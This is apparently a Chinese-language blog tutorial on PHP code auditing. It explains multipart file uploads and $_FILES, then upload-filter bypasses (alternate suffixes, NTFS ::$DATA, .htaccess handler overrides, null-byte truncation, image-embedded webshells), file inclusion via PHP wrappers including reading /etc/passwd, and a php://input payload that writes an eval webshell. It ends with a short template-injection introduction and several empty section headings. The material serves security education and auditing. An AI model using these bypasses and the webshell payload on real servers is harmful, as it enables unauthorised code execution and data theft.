<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="uploadedFile">
<input type="submit" value="上传文件">
</form>
  • enctype="multipart/form-data":确保表单可以上传文件。如果不加 enctype,表单默认以 application/x-www-form-urlencoded 方式提交* ,无法上传文件。multipart/form-data 的作用就是告诉浏览器:
    • 分块传输(每个 input 都是一个分块)
    • 文件数据以二进制形式传输
    • 边界分隔符 (boundary) 用于区分字段和文件
  • method="POST":文件上传必须使用 POST 方法。
  • input type="file":用户选择文件的输入框。

当浏览器提交文件时,它会使用 multipart/form-data 方式编码请求体。以下是一个完整的 HTTP 上传请求示例:

1
2
3
4
5
6
7
8
9
10
11
POST /upload.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 123456

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="uploadedFile"; filename="example.jpg"
Content-Type: image/jpeg

(binary data: JPG 文件的二进制内容)
------WebKitFormBoundaryABC123--
  • Content-Type: multipart/form-data :必定义了请求体的编码方式,浏览器须设置该字段为 multipart/form-data,否则 PHP 不会解析这个请求为文件上传。

    multipart/form-dataHTTP 协议中用于表单数据提交的编码格式* ,专门用于 包含文件的表单。它的作用是 支持文件二进制数据的上传* ,并让服务器正确解析它。

    在 HTML 表单提交时,常见的 enctype 编码方式有:

    • application/x-www-form-urlencoded(默认)
    • multipart/form-data(用于文件上传)
    • text/plain(极少使用)

    其中:

    • application/x-www-form-urlencoded 适用于 普通表单(仅文本数据)* ,会将数据编码为 key=value&key2=value2 形式。
    • multipart/form-data 适用于包含文件的表单* ,可以处理二进制数据* ,并使用 boundary 分隔不同字段。
  • boundary=----WebKitFormBoundaryABC123 :当 HTML 表单以 multipart/form-data 方式提交时,HTTP 请求体的内容是多个部分组成的。boundary(边界标识符)是 multipart/form-data 格式中的分隔符* ,用于区分表单中的不同字段或文件。它的作用是让服务器知道每个字段的起始和结束位置

  • Content-Disposition: form-data; name="uploadedFile"; filename="example.jpg"Content-Type: image/jpeg :这部分是 multipart/form-data 请求体中的头部信息* ,用于告诉服务器这个数据块的属性

    • Content-Disposition: form-data; name="uploadedFile"; filename="example.jpg" :说明这个数据块是 表单字段* ,字段名是 uploadedFilename="uploadedFile" 必须与 HTML 表单 inputname 值匹配。filename="example.jpg" 表示用户上传的文件名
    • Content-Type: image/jpeg :指定这个文件的 MIME 类型image/jpeg 代表 JPG 图片)。

服务器接收文件并存储到临时目录

PHP 服务器端会自动解析这个 multipart/form-data 请求并填充 $_FILES 变量

1
2
3
4
5
6
7
8
9
10
$_FILES = [
"uploadedFile" => [
"name" => "example.jpg", // 客户端文件名
"type" => "image/jpeg", // 文件 MIME 类型
"tmp_name" => "/tmp/php123.tmp", // 临时存储路径
"error" => 0, // 错误代码(0 表示无错误)
"size" => 123456 // 文件大小(字节)
]
];

multipart/form-data 请求与 $_FILES 变量之间的对应关系如下:

multipart/form-data 请求 $_FILES["uploadedFile"] 变量
name="uploadedFile" $_FILES["uploadedFile"]
filename="example.jpg" $_FILES["uploadedFile"]["name"]
Content-Type: image/jpeg $_FILES["uploadedFile"]["type"]
文件二进制数据 $_FILES["uploadedFile"]["tmp_name"] (服务器上的临时文件路径)
文件大小 $_FILES["uploadedFile"]["size"]

另外 $_FILES["uploadedFile"]["error"] 可能的值:

错误代码 说明
UPLOAD_ERR_OK (0) 无错误,上传成功
UPLOAD_ERR_INI_SIZE (1) 超出 upload_max_filesize 限制
UPLOAD_ERR_FORM_SIZE (2) 超出 HTML MAX_FILE_SIZE 限制
UPLOAD_ERR_PARTIAL (3) 文件部分上传
UPLOAD_ERR_NO_FILE (4) 没有文件被上传
UPLOAD_ERR_NO_TMP_DIR (6) 找不到临时目录
UPLOAD_ERR_CANT_WRITE (7) 文件写入失败

在填充 $_FILES 变量的同时,PHP 还会把接收的文件临时保存在指定的临时目录中,文件名为 $_FILES["uploadedFile"]["tmp_name"] 的值。PHP 进程结束后,临时目录中保存的文件会自动删除。

php.ini 中,有文件上传的相关配置:

1
2
3
4
5
file_uploads = On           ; 允许上传文件
upload_max_filesize = 10M ; 限制单个文件最大大小
post_max_size = 20M ; 限制整个 POST 请求的最大大小
upload_tmp_dir = "/tmp" ; 临时存储目录
max_file_uploads = 10 ; 允许一次性上传的最大文件数

其中 upload_tmp_dir 指定了临时文件保存的目录,如果 upload_tmp_dir 未设置,PHP 会使用操作系统默认的临时目录:

  • Linux/macOS/tmp/
  • WindowsC:\Windows\Temp\

PHP 代码处理上传的临时文件

前面的过程是 PHP 程序自动完成的,而这一步是通过用户代码实现。

当用户处理上传文件的代码被执行的时候说明用户向上传文件的路由发起了一次请求。因此用户代码首先会先判断该请求是否问文件上传请求,并且该文件上传请求是否成功。如果满足条件才会执行文件上传相关的处理逻辑。

1
2
3
4
5
6
7
// 检查是否有文件上传
if (isset($_FILES["uploadedFile"]) && $_FILES["uploadedFile"]["error"] == 0) {
// 处理文件上传的逻辑
// [...]
} else {
echo "文件上传失败,错误码:" . $_FILES["uploadedFile"]["error"];
}

之后就是根据 $_FILES 变量中文件的相关信息做一系列的安全检查。通常包括文件类型、文件扩展名、文件大小等。只有通过了这些安全检查才会将临时文件保存至文件上传的目录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$fileTmpPath = $_FILES["uploadedFile"]["tmp_name"]; // 临时文件路径
$fileName = $_FILES["uploadedFile"]["name"]; // 原始文件名
$fileSize = $_FILES["uploadedFile"]["size"]; // 文件大小
$fileType = $_FILES["uploadedFile"]["type"]; // 文件 MIME 类型

// 允许的文件类型
$allowedFileTypes = ["image/jpeg", "image/png", "application/pdf"];
$maxFileSize = 5 * 1024 * 1024; // 5MB 限制

// 获取文件扩展名
$fileExtension = pathinfo($fileName, PATHINFO_EXTENSION);

// 生成新的唯一文件名,防止覆盖
$newFileName = uniqid() . "." . $fileExtension;

// 验证文件类型和大小
if (in_array($fileType, $allowedFileTypes) && $fileSize <= $maxFileSize) {
// 确保上传目录存在
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true);
}

// 目标文件路径
$destPath = $uploadDir . $newFileName;

// 满足条件,保存临时文件。
// [...]
} else {
echo "文件类型不允许或文件过大!";
}

当安全检查通过时,PHP 可以通过 move_uploaded_file 函数将临时文件移动在上传目录中保存。

1
2
3
4
5
6
// 关键步骤:从临时目录移动到目标目录
if (move_uploaded_file($fileTmpPath, $destPath)) {
echo "文件上传成功!存储路径:" . $destPath;
} else {
echo "文件上传失败!";
}

在 PHP 处理文件上传时,**move_uploaded_file() 是唯一推荐用于移动上传文件的函数** 。

  • move_uploaded_file() 会检查 $tmp_name 是否真的来自 $_FILES ,防止伪造路径。
  • move_uploaded_file() 移动后,tmp_name 会消失* ,防止临时文件被二次利用。
  • move_uploaded_file() 不会创建额外的文件副本* ,节省服务器存储空间。

renamecopy 虽然也能实现同样的功能,但是二者不是专门用于处理文件上传的函数,缺少相关的安全检查(如检移动查文件是否是上传的临时文件)。

PHP 文件上传漏洞

判断文件上传检查方式

我们可以通过观察文件上传的几个关键特征来快速定位文件上传的检查方式。

graph TD;
    A[上传点] --> B{上传非法文件,返回结果是否很快?}
    B -- 是 --> C[客户端检查]
    B -- 否 --> D[服务端检查]
    
    D --> E{是否可以上传非图片内容,但使用图片后缀?}
    E -- 是 --> F[检查后缀]
    E -- 否 --> G[检查内容]
    
    F --> H{是否可以上传任意后缀?如 .asdxxx}
    H -- 是 --> I[黑名单]
    H -- 否 --> J[白名单]

    G --> K{上传后图片大小、颜色、MD5 是否变化?}
    K -- 是 --> L[只读取内容]
    K -- 否 --> M[重新渲染]

    E -- 其他情况 --> N[逻辑]

文件上传绕过

针对不同的文件上传检测方式选择合适的绕过方法。

客户端检测
  • 在本地浏览器客户端禁用 JS(火狐:about:config → javascript.enabled
  • 手动修改前端代码
  • Burp Suite 修改请求数据
黑名单检测
  • 其它可解析后缀绕过,例如 php2php3php5phtmlpht 等。

    提示

    能否解析取决于服务器配置文件,例如 Apache 服务器:AddType application/x-httpd-php .php .phtml .php5 .php3

  • NTFS 数据流绕过

    NTFS 数据流(Alternate Data Streams,简称 ADS)是 Windows 文件系统的特性。这种特性允许在一个文件中存储多个数据流,而不仅仅是文件内容本身。

    在 NTFS 文件系统中,文件不仅可以包含主数据流,还可以包含一个或多个附加的数据流。这些附加的数据流可以用来存储额外的信息,而不影响主数据流的内容。这些数据流通过特殊的语法 filename:streamname:$DATA 进行访问。其中 $DATA 是默认类型标识,可以省略为 filename:streamname

    如果我们上传一个文件 shell.php::$DATA(附加数据流虽然没有指定名称,但仍然是一个数据流),那么:

    • 后端验证时认为后缀是 .php::$DATA,不在黑名单中,因此通过验证。
    • 文件被存储为 shell.php::$DATA,但实际上存储在 NTFS 文件系统中时,系统只识别 shell.php 作为文件名
  • 配置文件绕过,例如对于 Apache 服务器,通过编写 .htaccess 文件,我们可以调用 PHP 的解析器去解析包含特定字符串的文件。这种方法可以绕过许多上传验证机制。

    .htaccess 文件,全称是 Hypertext Access(超文本入口),提供了针对目录改变配置的方法。它可以存放 Apache 服务器配置相关的指令,用于修改目录的配置设置。

    • 方法一:指定特定字符串

      .htaccess 文件中添加如下内容。这个配置指令表示:只要文件名中包含 as.png 这个字符串,无论文件名具体是什么,都可以被当作 PHP 文件解析。

      1
      2
      3
      <FilesMatch "as.png">
      SetHandler application/x-httpd-php
      </FilesMatch>
    • 方法二:设置默认解析器
      通过上传一个 .htaccess 文件,将整个目录下的所有文件设置为 PHP 解析,这样,该目录下的所有文件都会被当作 PHP 文件解析。

      1
      SetHandler application/x-httpd-php
    • 方法三:指定文件类型
      另一种方式是将特定类型的文件设置为 PHP 解析。可以在 .htaccess 文件中添加以下内容,这样所有 .jpg 文件都会被当作 PHP 文件解析。

      1
      AddType application/x-httpd-php jpg
  • 后缀大小写绕过,Windows 系统对大小写不敏感,我们可以上传大小写混合的后缀绕过后缀的黑名单过滤,例如 shell.Php

白名单检测
  • 截断绕过:在满足下面 php < 5.3.29magic_quotes_gpc=off 的基础上,后端代码会把 \x00 作为字符串结束标志,因此我们可以在文件保存路径上构造一个 0 截断来绕过白名单检测。

    0x00-bypass

    注意

    • 如果是 GET 传参可以通过 %00 来表示 \x00,WEB 服务器会自动解码成 \x00 传给后端代码。
    • 如果是 POST 传参则传递数据的格式取决于 Content-Type 头的值,对于 application/x-www-form-urlencoded,数据会进行 URL 编码,可以使用 %00 来表示 \x00,否则需要在数据包中用真正的 \x00 来截断。
    • 高版本 PHP 不再把 \x00 作为字符串结束标志,会自动把字符串中的 \x00 去掉。
文件魔数检测

这种检测方式是通过检测文件内容开头的魔数来判断文件类型。

绕过方式是在合法文件后面拼接 webshell 然后利用文件包含漏洞执行。

二次渲染

二次渲染是根据用户上传的图片,新生成一个图片保存,并将原始图片删除。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。

绕过方式是先上传一张图片,再重新将图片下载下来做比较,然后在没有变化的地方插入 webshell(通常文件分多个区段,不同区段为了对齐中间会用 0 填充,这部分可能在上传后不会被修改)。

文件包含相关

文件包含漏洞(File Inclusion Vulnerability)是一种在Web应用程序中常见的安全漏洞。它允许攻击者通过包含恶意文件的方式在服务器上执行未经授权的代码或读取敏感文件。文件包含漏洞主要分为两类:本地文件包含(Local File Inclusion, LFI)和远程文件包含(Remote File Inclusion, RFI)。

  • 文件包含 :开发人员将可重复使用的内容写到单个文件中,使用时直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。这样编写代码能减少代码冗余,降低代码后期维护难度,保证网站整体风格统一,比如:导航栏、底部栏等。

  • 文件包含漏洞 :开发人员希望代码更加灵活,有时会将包含的文件设置为变量,用来动态调用,由于这种灵活性,可能导致攻击者调用恶意文件,造成文件包含漏洞。

文件包含函数

几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP Web 应用中居多,而在 JSP、ASP 程序中却非常少,甚至没有。PHP 中提供了四个文件包含的函数,分别是 include()include_once()require()require_once()。它们的特点为:

  • include :出现错误时,会抛出一个警告,程序继续运行。
  • include_once :出现错误时,会抛出警告,且仅包含一次。
  • require :出现错误时,会直接报错并退出程序执行。
  • require_once :出错时直接退出;且仅包含一次。

提示

只要被包含文件的文件内容符合 PHP 语法,不管文件类型是什么,该文件都会被 PHP 解释器解析执行;如果文件内容不符合 PHP 语法,就会将该文件内容读取出来。

PHP 伪协议

PHP 带有很多内置 URL 风格的封装协议,用于类似 fopen()copy()file_exists()filesize() 文件系统函数具体协议请参照官方文档

file://

  • 作用 :用于访问本地文件系统,常用于读取本地文件。

  • 用法file:// 后跟文件的绝对路径或相对路径。

  • 示例

    1
    2
    3
    4
    5
    // 绝对路径
    include 'file://c:/windows/win.ini';
    include 'file:///etc/passwd';
    // 相对路径
    include 'file://./phpinfo.txt';

php://input

  • 作用php://input 允许访问请求的原始数据流,将 POST 请求的数据作为 PHP 代码执行。攻击者可以通过 POST 请求发送恶意 PHP 代码并在服务器上执行,从而控制服务器。

  • 使用方法 :将php://input作为文件名传入,同时在POST请求中传入要执行的代码。

  • 前提条件

    • allow_url_fopen:On
    • allow_url_include:On
  • 示例

    1
    2
    3
    // PHP代码
    include 'php://input';
    // POST请求数据:<?php phpinfo(); ?>

    如果要写文件,则可以把 php 代码换成以下(该代码的意思为打开 shell.php 执行写入的操作,写入的内容为一句话木马):

    1
    <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

php://filter

  • 作用php://filter 是 PHP 中一种特殊的 I/O 流,它允许在读取或写入数据时应用各种过滤器。这对于数据预处理、编码转换、加解密等场景非常有用。

  • 使用方法php://filter的使用语法如下:

    filter

    • readwrite 指定过滤器应用的方向,read 用于读取数据时过滤,write 用于写入数据时过滤。
    • <filtername> 是要应用的过滤器名称,多个过滤器可以用逗号分隔。
    • resource=<source>:这个参数是必须的。它指定了要筛选过滤的数据源,可以是文件、字符串等。
  • 常用过滤器

    • 字符串过滤器
      • string.rot13:进行 ROT13 转换(简单替换加密)。
      • string.toupper:将字符串转换为大写。
      • string.tolower:将字符串转换为小写。
      • string.strip_tags:去除 HTML 和 PHP 标签。
    • 转换过滤器
      • convert.base64-encode:将数据进行 Base64 编码。
      • convert.base64-decode:将 Base64 编码的数据进行解码。
      • convert.quoted-printable-encode:进行 Quoted-Printable 编码。
      • convert.quoted-printable-decode:解码 Quoted-Printable 编码的数据。
      • convert.iconv.<from_encoding>.<to_encoding>:将数据从一种字符编码转换为另一种。
    • 压缩过滤器
      • zlib.deflate:使用zlib算法进行压缩。
      • zlib.inflate:解压zlib压缩的数据。
      • bzip2.compress:使用bzip2算法进行压缩。
      • bzip2.decompress:解压bzip2压缩的数据。
    • 加密过滤器
      • mcrypt.*:使用 mcrypt 扩展进行加密。
      • mdecrypt.*:使用 mcrypt 扩展进行解密。
  • 示例 :以 base64 编码的方式进行读取指定路径的文件。

    1
    php://filter/read=convert.base64-encode/resource=about.php

phar://

  • 作用phar:// 是 PHP 中的一个伪协议,用于处理 PHP 归档(PHAR)文件。这种方式允许访问PHAR文件内部的子文件,对于访问被压缩的 PHP 文件或代码很有帮助。

    • PHAR 文件是一种将多个文件打包成单个文件的归档格式,类似于 ZIP 或 TAR 格式。
    • 通过 phar:// 协议,可以直接访问 PHAR 文件中的内容,就像访问普通目录和文件一样。
  • 使用方法phar:// 的基本语法如下:

    phar

    • path/to/pharfile.phar[ext]:PHAR 文件的路径,可以是相对路径或绝对路径.phar 是常见的扩展名,但也可以使用其他扩展名(如 .zip.tar 或其他任意扩展名)。
    • internal/path/to/file:PHAR 文件内部的文件路径。

zip://

  • 作用 :用于访问 ZIP 压缩文件中的子文件。类似的还有 bzip2://zlib:// 协议。

    • bzip2://:用于访问 Bzip2 压缩格式的文件和资源。Bzip2 是一种更高效的压缩算法,在某些场景下可以获得更好的压缩率,对应的文件后缀名为 .bz2
    • zlib://: 协议用于访问 Gzip 压缩格式的文件和资源。Gzip 是一种较为普及的压缩算法,在大多数场景下都可以使用,对应的文件后缀名为 .gz
  • 使用方法 :指定压缩文件的路径以及其中的子文件路径。

    zip

    • path/to/your-archive.zip:ZIP 压缩包的绝对路径。
    • path/within/zip:ZIP 压缩包内部的文件路径。

http:// 或 https://

  • 作用 :用于远程包含,通过 HTTP 或 HTTPS 协议访问远程文件或资源。这种伪协议允许从远程服务器包含文件,是远程文件包含漏洞(RFI)利用的基础。
  • 前提条件
    • allow_url_fopen:On
    • allow_url_include:On
  • 注意事项 :通过 HTTP 或 HTTPS 协议访问远程文件或资源通常会经过目标服务器的渲染(例如访问 php 代码实际获取的是 php 代码的执行结果而不是代码本身),如果想实现和 file:// 协议类似的远程功能最好目标文件是 .txt 后缀。

data://

  • 作用 :自 PHP 5.2.0 起,可以使用 data:// 数据流封装器,以直接在 URL 中嵌入传递相应格式的数据,而不需要从外部文件或资源中引用,通常用来执行PHP代码。

  • 使用方法

    data

    • <mediatype>:数据的媒体类型,通常是 MIME 类型,例如 text/plaintext/html。默认是 text/plain
    • ;base64:如果数据是 Base64 编码的,需要加上这个标志。
    • <data>:实际的数据,可以是普通文本或 Base64 编码的数据。

PHP 文件包含漏洞

本地文件包含

当包含的文件在服务器本地时,就形成了本地文件包含。

  • 由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。
    • 读取网站源码以及配置文件。
    • 包含日志文件 GetShell(可以通过与网站交互在日志文件中形成一段 PHP 代码)。
  • 很多时候本地文件包含漏洞会结合网站的文件上传功能,从而形成更大的威力。
    • 上传图片马,包含图片马 GetShell。

包含文件的时候可以直接写路径 '/path/to/your/file.php',也可以使用 file 伪协议 file:///path/to/your/file.php,两种方式是等价的。

远程文件包含

当包含的文件在远程服务器上时,就形成了远程文件包含。远程文件包含的时候需要写文件的 URL 路径 'http://example.com/shell.txt'

利用前提:

  • allow_url_fopen=On(默认开启)
  • allow_url_include=On(默认关闭)

这里有一点要注意的是远程文件包含一句话木马时,不要做成 .php 文件,一般做成 .txt 文件,因为:

  • 如果是 .txt 文件,远程文件包含时获取的是文件原本的内容,然后代码会在 Web 服务器中被当做 php 代码执行。
  • 如果是 .php 文件,远程文件包含时获取的是 .php 文件在远程服务器中执行的结果(并且用户传递的参数不会传递给远程服务器),然后在 Web 服务器会直接把该结果返回给用户。

file_include

模板注入相关

SSTI(服务器端模板注入) 是一种攻击方式,攻击者通过控制输入,将恶意“模板语法”注入到后端模板引擎中,使模板引擎在渲染页面时执行这些恶意语句,从而造成信息泄露、权限绕过,甚至远程代码执行(RCE)。

它属于 代码注入 漏洞的一种,但特别之处在于注入的“语言”是模板语法(例如 {{ ... }}),而不是 PHP 原生代码。

模板引擎(Template Engine) 是一个用于生成动态 HTML 的系统。它允许开发者用变量、控制语句(如 if、for)、函数等嵌入到 HTML 中。

Twig

Smarty

Blade

patTemplate

PHP 常见框架

ThinkPHP

Laravel

Codeigniter

Yii

Cakephp

PHP 代码混淆对抗

无扩展方案

PHP 扩展方案

  • Title: PHP 代码审计基础
  • Author: sky123
  • Created at : 2025-03-17 22:30:29
  • Updated at : 2025-03-24 12:57:15
  • Link: https://skyi23.github.io/2025/03/17/PHP 代码审计基础/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
PHP 代码审计基础